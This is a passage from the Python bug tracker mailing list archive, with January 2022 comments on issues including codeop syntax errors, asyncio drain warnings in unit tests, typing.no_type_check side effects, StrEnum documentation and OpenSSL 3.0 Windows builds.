(see experiment below). The issue here is that _maybe_compile returns None instead of passing on the compile syntax error. Some debug prints would reveal exactly why. An alternate approach might be to compile just once and use the error message and marked error range to split. But that would require different message-range pairs for the different cases. Compile does not seem to give this to us. For the current case, 3.11.a04 compile (and ast.parse) give the same response to both bad and incomplete lines. >>> compile("a b '''", '', 'single') Traceback (most recent call last): File "", line 1, in File "", line 1 a b ''' ^ SyntaxError: unterminated triple-quoted string literal (detected at line 1) >>> compile("s='''", '', 'single') Traceback (most recent call last): File "", line 1, in File "", line 1 s=''' ^ SyntaxError: unterminated triple-quoted string literal (detected at line 1 But the REPL somehow treats the two lines differently when directly entered. >>> s = ''' ... ... ''' >>> a b ''' File "", line 1 a b ''' ^ SyntaxError: unterminated triple-quoted string literal (detected at line 1) Pablo, is there any possibility that the internal REPL parser could be wrapped, exposed to Python, and called with fake stdin/out/err objects? Or if one executes 'python -i -c "start code"', what is required of the standard streams for '-i' to be effective and actually shift into interactive mode, reading from and writing to those streams? Just claim to be a tty? It is any different than for reading responses to "input('prompt')"? ---------- nosy: +terry.reedy title: compile_command not raising syntax error when command ends with triple quotes -> codeop._maybe_compile passes code with error + triple quotes versions: +Python 3.11 -Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 00:57:49 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Sat, 29 Jan 2022 05:57:49 +0000 Subject: [issue46524] test_peg_generator takes 8 minutes on Windows In-Reply-To: <1643137563.83.0.612264685435.issue46524@roundup.psfhosted.org> Message-ID: <1643435869.8.0.0578829545137.issue46524@roundup.psfhosted.org> Terry J. Reedy added the comment: Do all of the tests use all of the slowly built extensions, or could the test file be split into multiple files run separately, each faster? ---------- nosy: +terry.reedy _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 01:28:26 2022 From: report at bugs.python.org (Ken Jin) Date: Sat, 29 Jan 2022 06:28:26 +0000 Subject: [issue46564] Near zero-cost super().meth() calls via adaptive superinstructions In-Reply-To: <1643387818.31.0.971991048266.issue46564@roundup.psfhosted.org> Message-ID: <1643437706.04.0.61446737342.issue46564@roundup.psfhosted.org> Ken Jin added the comment: > Oh, I didn't see your PR and commented as it was not mentioned in this bpo. No problem. In the future please check the "Pull Requests" section on the issue. People don't always say "I created a PR at xxx". Often times we just link the PR into the issue itself. Keep your PR around in case mine gets rejected, then we can take just the good parts. If mine's accepted, we can close yours. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 01:50:25 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Sat, 29 Jan 2022 06:50:25 +0000 Subject: [issue46565] Delete module-level loop variables when no longer needed In-Reply-To: <1643388451.48.0.632570140145.issue46565@roundup.psfhosted.org> Message-ID: <1643439025.95.0.592853200861.issue46565@roundup.psfhosted.org> Terry J. Reedy added the comment: I am opposed at this time. Leaving loop variables available is an intended feature of python. After reading point 1, I was tempted to say that you are making a fetish of typing or making the tail wag the dog. I mention this because others might have similar reactions. After reading points 2 and 3, I am much more favorable and would allow changes in idlelib if any were needed. A cleaner dir and help listing affects everyone. I changed the title to be more 'neutral'. 'Leak' is perjorative. "we need to remove these names" is a bit misleading as it implies total removal, which is not the proposal. As it is, the PR applies a style standard on the stdlib that is not in PEP 8. I recommend that you start by proposing an addition to PEP-8. "Unless X, global loop variables should be explicitly deleted as soon as not needed. Or use a comprehension." (I checked and 'loop' does not currently appear in PEP-8, and none of the 5 examples I checked could use a comprehension.) If you do, I recommend starting with dir and help, with typing third. You might post the idea on pydev and ask how much and what sort of discussion is needed. ---------- nosy: +terry.reedy title: Multiple modules leak `for` loop variables into module's namespace -> Delete module-level loop variables when no longer needed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 01:57:25 2022 From: report at bugs.python.org (Guido van Rossum) Date: Sat, 29 Jan 2022 06:57:25 +0000 Subject: [issue26552] Failing ensure_future still creates a Task In-Reply-To: <1457869570.39.0.866858008064.issue26552@psf.upfronthosting.co.za> Message-ID: <1643439445.64.0.341566885901.issue26552@roundup.psfhosted.org> Guido van Rossum added the comment: New changeset a5451c96a14ac0c3ee7cef7b5c52ab1d783ec613 by Kumar Aditya in branch '3.10': bpo-26552: Fixed case where failing `asyncio.ensure_future` did not close the coroutine (#30288) (#31003) https://github.com/python/cpython/commit/a5451c96a14ac0c3ee7cef7b5c52ab1d783ec613 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 02:25:21 2022 From: report at bugs.python.org (Ken Jin) Date: Sat, 29 Jan 2022 07:25:21 +0000 Subject: [issue46329] Split up the CALL_NO_KW and CALL_KW instructions. In-Reply-To: <1641819285.76.0.605357810946.issue46329@roundup.psfhosted.org> Message-ID: <1643441121.43.0.347551743239.issue46329@roundup.psfhosted.org> Change by Ken Jin : ---------- pull_requests: +29186 pull_request: https://github.com/python/cpython/pull/31005 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 02:40:57 2022 From: report at bugs.python.org (pmp-p) Date: Sat, 29 Jan 2022 07:40:57 +0000 Subject: [issue14916] PyRun_InteractiveLoop fails to run interactively when using a Linux pty that's not tied to stdin/stdout In-Reply-To: <1337960558.56.0.442179213708.issue14916@psf.upfronthosting.co.za> Message-ID: <1643442057.04.0.548704065055.issue14916@roundup.psfhosted.org> Change by pmp-p : ---------- pull_requests: +29187 pull_request: https://github.com/python/cpython/pull/31006 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 03:21:26 2022 From: report at bugs.python.org (bers) Date: Sat, 29 Jan 2022 08:21:26 +0000 Subject: [issue46512] filecmp.cmpfiles w/ absolute path names In-Reply-To: <1643103970.65.0.0273493721081.issue46512@roundup.psfhosted.org> Message-ID: <1643444486.04.0.365182283199.issue46512@roundup.psfhosted.org> bers added the comment: > Did your example work with relative paths? Yes, it does. Just append the following to my example code: # actually diff the files - correctly! files = [f.relative_to(dir_a) for f in dir_a.glob("*")] (_, different, _) = filecmp.cmpfiles(dir_a, dir_b, files, shallow=False) print("different:", *different) Output then is equal: C:\Users\bers\AppData\Local\Temp\tmp1p6jh4rg\a\foo.txt different: foo.txt ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 03:37:14 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sat, 29 Jan 2022 08:37:14 +0000 Subject: [issue46565] Delete module-level loop variables when no longer needed In-Reply-To: <1643388451.48.0.632570140145.issue46565@roundup.psfhosted.org> Message-ID: <1643445434.84.0.725750940207.issue46565@roundup.psfhosted.org> Nikita Sobolev added the comment: Thanks for the better wording, Terry! > Leaving loop variables available is an intended feature of python. Just to be clear: it sure is! But, sometimes we don't want to polute a global namespace with this variable. A common practice across CPython's source is to use `del` or comprehensions. That's exactly what my PR does: it finds places where people forgot to do that and adds a cleanup. > As it is, the PR applies a style standard on the stdlib that is not in PEP 8. I recommend that you start by proposing an addition to PEP-8. Interesting idea! But, I think that this is an orthogonal non-blocking task, which might be much harder compared to this one :) I will add this to my backlog. > You might post the idea on pydev and ask how much and what sort of discussion is needed. Good starting point, agreed! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 03:45:57 2022 From: report at bugs.python.org (bluecarrot) Date: Sat, 29 Jan 2022 08:45:57 +0000 Subject: [issue46568] non awaited coroutines on a IsolatedAsyncioTestCase results on a RuntimeWarning Message-ID: <1643445957.83.0.70442221241.issue46568@roundup.psfhosted.org> New submission from bluecarrot : I am unittesting a tcp proxy module using coroutines. This is the coroutine I am using to do the forwarding, allowing the writer stream to drain while the rest of the coroutines are proceeding: async def forward_stream(reader: StreamReader, writer: StreamWriter, event: asyncio.Event, source: str): writer_drain = writer.drain() while not event.is_set(): try: data = await asyncio.wait_for(reader.read(1024), 1) except asyncio.TimeoutError: continue if not data: event.set() break # parse the data if reading := parse(data): # wait for the previous write to finish, and forward the data to the other end, process the data in between await writer_drain writer.write(data) writer_drain = writer.drain() # wait for any outstanding write buffer to be flushed await writer_drain logger.info("{} reader forwarder finished.".format(source)) In my unit tests, I have the following (EnergyAgentProxy is the wrapper calling the coroutine in the module that creates the proxy) class TestConnections(IsolatedAsyncioTestCase): async def asyncSetUp(self) -> None: self.proxy = asyncio.create_task(EnergyAgentProxy(self.proxy_port, self.server_port, self.upstream_port)) The problem is: When running these tests, I am getting the following error: /usr/lib/python3.10/unittest/async_case.py:159: RuntimeWarning: coroutine 'StreamWriter.drain' was never awaited Coroutine created at (most recent call last) File "/usr/lib/python3.10/unittest/case.py", line 650, in __call__ return self.run(*args, **kwds) [...] File "/home/frubio/Documents/powermonitor_raspberrypi/EnergyAgent.py", line 48, in forward_stream writer_drain = writer.drain() self._tearDownAsyncioLoop() So... to me, it looks like when the tasks are being cancelled I am getting this warning because the last "await writer_drain" in forward stream is not executed, but I cannot ensure that. Am I doing something wrong? Is there any way I can just prevent this warning from showing up in my tests? ---------- components: Tests, asyncio messages: 412060 nosy: asvetlov, bluecarrot, yselivanov priority: normal severity: normal status: open title: non awaited coroutines on a IsolatedAsyncioTestCase results on a RuntimeWarning type: behavior versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 03:53:25 2022 From: report at bugs.python.org (bluecarrot) Date: Sat, 29 Jan 2022 08:53:25 +0000 Subject: [issue46568] non awaited coroutines on a IsolatedAsyncioTestCase results on a RuntimeWarning In-Reply-To: <1643445957.83.0.70442221241.issue46568@roundup.psfhosted.org> Message-ID: <1643446405.61.0.639828330927.issue46568@roundup.psfhosted.org> bluecarrot added the comment: Seems that, should I add an "await asyncio.sleep(1)" in asyncTearDown, so getting class TestConnections(IsolatedAsyncioTestCase): async def asyncSetUp(self) -> None: self.proxy = asyncio.create_task(EnergyAgentProxy(self.proxy_port, self.server_port, self.upstream_port)) async def asyncTearDown(self) -> None: await asyncio.sleep(1) is enough to "hide the problem under the carpet"... but sounds weird... ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 04:01:39 2022 From: report at bugs.python.org (Andrew Svetlov) Date: Sat, 29 Jan 2022 09:01:39 +0000 Subject: [issue46568] non awaited coroutines on a IsolatedAsyncioTestCase results on a RuntimeWarning In-Reply-To: <1643445957.83.0.70442221241.issue46568@roundup.psfhosted.org> Message-ID: <1643446899.76.0.102275094759.issue46568@roundup.psfhosted.org> Andrew Svetlov added the comment: Your code has at least one concurrency problem. Let's look back at forward_stream() function: async def forward_stream(reader: StreamReader, writer: StreamWriter, event: asyncio.Event, source: str): writer_drain = writer.drain() # <--- awaitable is created here while not event.is_set(): try: data = await asyncio.wait_for(reader.read(1024), 1) # <-- CancelledError can be caught here, stack unwinds and writer_drain is never awaited, sure. except asyncio.TimeoutError: continue ... # the rest is not important for this case To solve the problem, you should create writer_drain *before its awaiting*, not before another 'await' call. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 04:18:36 2022 From: report at bugs.python.org (Danylo) Date: Sat, 29 Jan 2022 09:18:36 +0000 Subject: [issue46489] webbrowser crashes Ubuntu kernel In-Reply-To: <1642963057.93.0.950018315432.issue46489@roundup.psfhosted.org> Message-ID: <1643447916.42.0.290239105182.issue46489@roundup.psfhosted.org> Danylo added the comment: Never mind. I had a crash today with no Python involved. At least, no webbrowser lib was running. Although Python webbrowser lib surely triggers the issue I have with my system. Need to find the origin somewhere else. Please report back if someone else experiences the same issue. Closed for time being. Best, Danylo ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 04:19:55 2022 From: report at bugs.python.org (bluecarrot) Date: Sat, 29 Jan 2022 09:19:55 +0000 Subject: [issue46568] non awaited coroutines on a IsolatedAsyncioTestCase results on a RuntimeWarning In-Reply-To: <1643445957.83.0.70442221241.issue46568@roundup.psfhosted.org> Message-ID: <1643447995.77.0.590668156831.issue46568@roundup.psfhosted.org> bluecarrot added the comment: Hi Andrew, thank you for your answer. I am experimenting with coroutines, as I am pretty new to them. My idea was to let the writer drain while other packets where read, and thus I am waiting for the writer_drain right before starting writer.write again. Isn't that the correct wait to overlap the readings and the writings? If I modify my initial code to look like: async def forward_stream(reader: StreamReader, writer: StreamWriter, event: asyncio.Event, source: str): writer_drain = writer.drain() # <--- awaitable is created here while not event.is_set(): try: data = await asyncio.wait_for(reader.read(1024), 1) # <-- CancelledError can be caught here, stack unwinds and writer_drain is never awaited, sure. except asyncio.TimeoutError: continue except asyncio.CancelledError: event.set() break ... # the rest is not important for this case await writer_drain so that in case the task is cancelled, writer_drain will be awaited outside of the loop. This works, at the cost of having to introduce code specific for testing purposes (which feels wrong). In "production", the workflow of this code will be to loose the connection, break out of the loop, and wait for the writer stream to finish... but I am not introducing any method allowing me to cancel the streams once the script is running. In the same way leaked tasks are "swallowed", which I have tested and works, shouldn't be these cases also handled by the tearDownClass method of IsolatedAsyncioTestCase? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 04:29:08 2022 From: report at bugs.python.org (Alex Waygood) Date: Sat, 29 Jan 2022 09:29:08 +0000 Subject: [issue46565] Delete module-level loop variables when no longer needed In-Reply-To: <1643388451.48.0.632570140145.issue46565@roundup.psfhosted.org> Message-ID: <1643448548.19.0.962451743613.issue46565@roundup.psfhosted.org> Alex Waygood added the comment: I agree that the typeshed issue is less important than the output of dir() and help(). I also agree that we shouldn't make a fetish of typing. However, I see the typeshed issue less as an issue specific to typing, and more as an example that illustrates a general problem third-party tools have. For example, having these temporary variables leak into global namespaces also makes IDE autocompletion less valuable, and makes life harder for tools that auto-generate documentation. Perhaps a PEP8 revision might be warranted in due course ? but in the meantime, are there any downsides to this proposed change? I believe we have pointed out several upsides. I don't see this as a style issue first and foremost: the PR is attempting to solve a genuine problem for some end-users of Python. It is not simply making cosmetic changes. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 04:38:33 2022 From: report at bugs.python.org (Andrew Svetlov) Date: Sat, 29 Jan 2022 09:38:33 +0000 Subject: [issue46568] non awaited coroutines on a IsolatedAsyncioTestCase results on a RuntimeWarning In-Reply-To: <1643445957.83.0.70442221241.issue46568@roundup.psfhosted.org> Message-ID: <1643449113.95.0.563016514024.issue46568@roundup.psfhosted.org> Andrew Svetlov added the comment: Your version works but can be simplified. Just use await writer.drain() writer.write(data) without grabbing the drainer early. The purpose of the .drain() method is to write pausing if the write buffer side is greater than the high watermark. The 'await writer.drain()' waits until the buffer size became less than low watermark. It prevents uncontrollable write buffer growth if a peer cannot accept TCP message as fast as `writer.write()` sends them. The .drain() call has no hidden process under the hood, there is no need to get write_drain reference as early as possible. It is just 'waiting for a flag'. Also, there is no need for `await write_drain` at the end: asyncio transport sends all data from the internal write buffer before closing (and doesn't do it on 'transport.abort()'). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 05:00:29 2022 From: report at bugs.python.org (Dutcho) Date: Sat, 29 Jan 2022 10:00:29 +0000 Subject: [issue46569] final note on StrEnum documentation incorrectly refers to int.__format__ instead of str.__format__ Message-ID: <1643450429.02.0.752906644712.issue46569@roundup.psfhosted.org> New submission from Dutcho : https://docs.python.org/3.11/library/enum.html#enum.StrEnum contains: Note __str__() is str.__str__() to better support the replacement of existing constants use-case. __format__() is likewise int.__format__() for that same reason. This should be (change indicated by triple star): Note __str__() is str.__str__() to better support the replacement of existing constants use-case. __format__() is likewise ***str***.__format__() for that same reason. Likely copied from IntEnum ---------- assignee: docs at python components: Documentation messages: 412067 nosy: Dutcho, docs at python priority: normal severity: normal status: open title: final note on StrEnum documentation incorrectly refers to int.__format__ instead of str.__format__ versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 05:08:40 2022 From: report at bugs.python.org (Alex Waygood) Date: Sat, 29 Jan 2022 10:08:40 +0000 Subject: [issue46569] final note on StrEnum documentation incorrectly refers to int.__format__ instead of str.__format__ In-Reply-To: <1643450429.02.0.752906644712.issue46569@roundup.psfhosted.org> Message-ID: <1643450920.88.0.198187171257.issue46569@roundup.psfhosted.org> Change by Alex Waygood : ---------- assignee: docs at python -> ethan.furman nosy: +ethan.furman stage: -> needs patch type: -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 05:14:06 2022 From: report at bugs.python.org (bluecarrot) Date: Sat, 29 Jan 2022 10:14:06 +0000 Subject: [issue46568] non awaited coroutines on a IsolatedAsyncioTestCase results on a RuntimeWarning In-Reply-To: <1643445957.83.0.70442221241.issue46568@roundup.psfhosted.org> Message-ID: <1643451246.26.0.177401431435.issue46568@roundup.psfhosted.org> bluecarrot added the comment: You are absolutely correct. Thank you very much! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 05:15:11 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 29 Jan 2022 10:15:11 +0000 Subject: [issue46458] Optimise try-except code generation for the happy path In-Reply-To: <1642778763.27.0.10743946589.issue46458@roundup.psfhosted.org> Message-ID: <1643451311.72.0.439381891744.issue46458@roundup.psfhosted.org> Irit Katriel added the comment: Re next steps, see https://github.com/faster-cpython/ideas/issues/226#issuecomment-1024875216. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 05:44:12 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sat, 29 Jan 2022 10:44:12 +0000 Subject: [issue46569] final note on StrEnum documentation incorrectly refers to int.__format__ instead of str.__format__ In-Reply-To: <1643450429.02.0.752906644712.issue46569@roundup.psfhosted.org> Message-ID: <1643453052.21.0.991831438261.issue46569@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- keywords: +patch nosy: +sobolevn nosy_count: 3.0 -> 4.0 pull_requests: +29188 stage: needs patch -> patch review pull_request: https://github.com/python/cpython/pull/31007 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 05:46:40 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 29 Jan 2022 10:46:40 +0000 Subject: [issue43583] make test failures, 2 tests failed: test_embed test_tabnanny In-Reply-To: <1616341139.4.0.592020830762.issue43583@roundup.psfhosted.org> Message-ID: <1643453200.16.0.194825719702.issue43583@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> duplicate stage: -> resolved status: open -> closed superseder: -> test_embed and test_tabnanny fails if the current directory is non-ASCII _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 06:42:21 2022 From: report at bugs.python.org (Carl Friedrich Bolz-Tereick) Date: Sat, 29 Jan 2022 11:42:21 +0000 Subject: [issue46555] Unicode-mangled names refer inconsistently to constants In-Reply-To: <1643320642.51.0.743138920796.issue46555@roundup.psfhosted.org> Message-ID: <1643456541.34.0.823352344023.issue46555@roundup.psfhosted.org> Carl Friedrich Bolz-Tereick added the comment: hah, this is "great": >>> ???? = 1 >>> globals() {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': , '__spec__': None, '__annotations__': {}, '__builtins__': , 'True': 1} The problem is that the lexer assumes that anything that is not ASCII cannot be a keyword and lexes ???? as an identifier. ---------- nosy: +Carl.Friedrich.Bolz _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 06:53:33 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 29 Jan 2022 11:53:33 +0000 Subject: [issue46555] Unicode-mangled names refer inconsistently to constants In-Reply-To: <1643320642.51.0.743138920796.issue46555@roundup.psfhosted.org> Message-ID: <1643457213.97.0.0515948464472.issue46555@roundup.psfhosted.org> Serhiy Storchaka added the comment: True is a keyword which is compiled to expression whose value is True, ???? is an identifier which refers to the builtin variable "True" which has a value True by default. You can change the value of a builtin variable, but the value of expression True is always True. I do not see a problem here. Don't use ???? if your intention is not using a variable. ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 08:05:19 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 29 Jan 2022 13:05:19 +0000 Subject: [issue28982] multiprocessing.Queue.get(block=True, timeout=0) always raises queue.Empty In-Reply-To: <1481834665.78.0.584713250682.issue28982@psf.upfronthosting.co.za> Message-ID: <1643461519.26.0.387033281809.issue28982@roundup.psfhosted.org> Change by Irit Katriel : ---------- stage: -> resolved status: pending -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 08:06:14 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 29 Jan 2022 13:06:14 +0000 Subject: [issue45913] readline + GTK + Pytest Seg Fault with Python 3.7 and 3.10 on CI In-Reply-To: <1638071621.44.0.368027831233.issue45913@roundup.psfhosted.org> Message-ID: <1643461574.32.0.529119980844.issue45913@roundup.psfhosted.org> Change by Irit Katriel : ---------- stage: -> resolved status: pending -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 08:07:27 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 29 Jan 2022 13:07:27 +0000 Subject: [issue41711] Socker send method throws a timeout exception In-Reply-To: <1599212008.8.0.575018716091.issue41711@roundup.psfhosted.org> Message-ID: <1643461647.73.0.626038625792.issue41711@roundup.psfhosted.org> Change by Irit Katriel : ---------- stage: -> resolved status: pending -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 08:35:11 2022 From: report at bugs.python.org (Jay Lee) Date: Sat, 29 Jan 2022 13:35:11 +0000 Subject: [issue46570] Windows support for OpenSSL 3.0 Message-ID: <1643463311.66.0.905342043937.issue46570@roundup.psfhosted.org> New submission from Jay Lee : Steps to reproduce: 1) Compile OpenSSL 3.0 on Windows. 2) use get_externals.bat to download Python external requirements on Windows. 3) Overwrite OpenSSL 1.1.1m in externals with your OpenSSL 3.0 build. Expected behavior: Python will build against OpenSSL 3.0 Actual behavior: Build fails with missing DLLs. Further information: - For OpenSSL 3.0 builds, the first suffix for libcrypto and libssl is -3, not -1_1. - For x86_64 builds, there's also an -x64 suffix to distinguish from x86 builds. I have a openssl.props modified file at: https://github.com/GAM-team/actions-hello-world/blob/master/openssl.props which I've overwritten the existing: https://github.com/python/cpython/blob/main/PCbuild/openssl.props#L13 file with and then succesfully compiled against OpenSSL 3.0. However I'm not certain if or where the logic should exist to detect OpenSSL 3.0 DLLs instead of 1.1. ---------- assignee: christian.heimes components: Build, SSL messages: 412072 nosy: christian.heimes, jay0lee priority: normal severity: normal status: open title: Windows support for OpenSSL 3.0 type: compile error versions: Python 3.10, Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 09:12:02 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sat, 29 Jan 2022 14:12:02 +0000 Subject: [issue46571] Strange `@typing.no_type_check` behavior for class variables Message-ID: <1643465522.51.0.205719891345.issue46571@roundup.psfhosted.org> New submission from Nikita Sobolev : I was working on improving coverage and test quality of `typing.py`, when I saw that `@no_type_check` is quite strange. Let's dive into this! ## Everything is correct We will start with a basic example, that illustrates that everything works fine: ``` from typing import no_type_check, get_type_hints class A: x: int = 1 class B: y: str = 'a' print(get_type_hints(A)) # ok: {'x': } print(get_type_hints(B)) # ok: {'y': } ``` Ok, let's move on. ## Adding `@no_type_check` Now, adding `@no_type_check` to `B` will make the result of `get_type_hints()` call on it - an empty `dict`: ``` from typing import no_type_check, get_type_hints class A: x: int = 1 @no_type_check class B: y: str = 'a' print(get_type_hints(A)) # ok: {'x': } print(get_type_hints(B)) # ok: {} ``` This is still ok. ## Broken? And now we can add some class-level constant to `B`, like `delegate` to show how it breaks `A`: ``` from typing import no_type_check, get_type_hints class A: x: int = 1 @no_type_check class B: y: str = 'a' delegate = A # adding this line will make `A` to have `__no_type_check__` as well print(get_type_hints(A)) # {}, wait, what? print(get_type_hints(B)) # {}, ok ``` Why is that important? It introduces an unfortunate side-effect that can make some totally unrelated (!) class completely ignore `get_type_hints()` and break things like `pydantic`, `beartype`, `attrs, etc that rely on type hints. By adding a class-level assignment to a class that has `@no_type_check` or other `no_type_check_decorator`. Why does this happen? It happens because `no_type_check` has this logic: ``` if isinstance(arg, type): arg_attrs = arg.__dict__.copy() for attr, val in arg.__dict__.items(): if val in arg.__bases__ + (arg,): arg_attrs.pop(attr) for obj in arg_attrs.values(): if isinstance(obj, types.FunctionType): obj.__no_type_check__ = True if isinstance(obj, type): no_type_check(obj) ``` Source: https://github.com/python/cpython/blob/8b1b27f1939cc4060531d198fdb09242f247ca7c/Lib/typing.py#L1952-L1975 As you can see above, we traverse all `__dict__` values of the given `class` and for some reason recurse into all nested types. I think that the original goal was to handle cases like: ``` @no_type_check class Outer: class Inner: ... ``` And now it also affects regular assignments. So, what can we do? 0. Nothing, it works correctly (I disagree) 1. Do not cover nested classes at all with `@no_type_check`, only cover methods 2. Only cover types that are **defined** in this class, like my `Inner` class example 3. Something else? I think that `(2)` is more inline with the currect implementation, so my vote is for it. I would like to implement this when we will have the final agreement :) ---------- components: Library (Lib) messages: 412073 nosy: AlexWaygood, Jelle Zijlstra, gvanrossum, kj, sobolevn priority: normal severity: normal status: open title: Strange `@typing.no_type_check` behavior for class variables versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 09:12:12 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sat, 29 Jan 2022 14:12:12 +0000 Subject: [issue46571] Strange `@typing.no_type_check` behavior for class variables In-Reply-To: <1643465522.51.0.205719891345.issue46571@roundup.psfhosted.org> Message-ID: <1643465532.17.0.310593308571.issue46571@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- type: -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 09:24:02 2022 From: report at bugs.python.org (Alex Waygood) Date: Sat, 29 Jan 2022 14:24:02 +0000 Subject: [issue46571] Strange `@typing.no_type_check` behavior for class variables In-Reply-To: <1643465522.51.0.205719891345.issue46571@roundup.psfhosted.org> Message-ID: <1643466242.23.0.488244036231.issue46571@roundup.psfhosted.org> Alex Waygood added the comment: ...Option 3). Deprecate @no_type_check? Maybe we should gather some stats on how many people are using @no_type_check? My feeling is that it's never achieved widespread adoption, so maybe it's just not that useful a thing to have in the stdlib. Anyway, the behaviour you've pointed out is nuts, so I agree that something needs to change here! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 09:25:35 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 29 Jan 2022 14:25:35 +0000 Subject: [issue28970] ctypes.from_buffer counterpart to actively remove the mapping In-Reply-To: <1481715408.44.0.569114702165.issue28970@psf.upfronthosting.co.za> Message-ID: <1643466335.34.0.692707880153.issue28970@roundup.psfhosted.org> Change by Irit Katriel : ---------- stage: -> resolved status: pending -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 10:24:52 2022 From: report at bugs.python.org (Zachary Ware) Date: Sat, 29 Jan 2022 15:24:52 +0000 Subject: [issue46570] Windows support for OpenSSL 3.0 In-Reply-To: <1643463311.66.0.905342043937.issue46570@roundup.psfhosted.org> Message-ID: <1643469892.12.0.0674944120553.issue46570@roundup.psfhosted.org> Change by Zachary Ware : ---------- components: +Windows nosy: +paul.moore, steve.dower, tim.golden, zach.ware stage: -> needs patch type: compile error -> enhancement versions: -Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 10:26:02 2022 From: report at bugs.python.org (Kodiologist) Date: Sat, 29 Jan 2022 15:26:02 +0000 Subject: [issue46520] ast.unparse produces bad code for identifiers that become keywords In-Reply-To: <1643123177.1.0.632269925829.issue46520@roundup.psfhosted.org> Message-ID: <1643469962.44.0.485458201403.issue46520@roundup.psfhosted.org> Kodiologist added the comment: (Hilariously, I couldn't post this comment on bugs.python.org due to some kind of Unicode bug ("Edit Error: 'utf8' codec can't decode bytes in position 208-210: invalid continuation byte"), so I've rendered "\U0001D555\U0001D556\U0001D557" as "DEF" in the below.) Thanks for clarifying the terminology re: reserved words vs. keywords. > The effect is the same as "globals()['DEF']=1" (which is the same as > passing 'def' or anything else that normalizes to it) and that in > turn allows ">>> DEF", which returns 1. This doesn't quite seem to be the case, at least on Pythons 3.9 and 3.10: >>> globals()['DEF']=1 >>> DEF Traceback (most recent call last): File "", line 1, in NameError: name 'def' is not defined >>> globals()['def']=1 >>> DEF 1 It looks the dictionary interface to `globals` doesn't normalize like the parser does. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 10:43:20 2022 From: report at bugs.python.org (Andrew Svetlov) Date: Sat, 29 Jan 2022 15:43:20 +0000 Subject: [issue46568] non awaited coroutines on a IsolatedAsyncioTestCase results on a RuntimeWarning In-Reply-To: <1643445957.83.0.70442221241.issue46568@roundup.psfhosted.org> Message-ID: <1643471000.39.0.789332964635.issue46568@roundup.psfhosted.org> Change by Andrew Svetlov : ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 10:49:46 2022 From: report at bugs.python.org (Jelle Zijlstra) Date: Sat, 29 Jan 2022 15:49:46 +0000 Subject: [issue46571] Strange `@typing.no_type_check` behavior for class variables In-Reply-To: <1643465522.51.0.205719891345.issue46571@roundup.psfhosted.org> Message-ID: <1643471386.77.0.184039630642.issue46571@roundup.psfhosted.org> Jelle Zijlstra added the comment: Let's not jump into deprecating it. I think (2) makes the most sense. If we can get that working reliably (using __qualname__ I assume), it would be my preference; otherwise we should do (1). This problem can also affect function objects, right? `class B: meth = some_function`. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 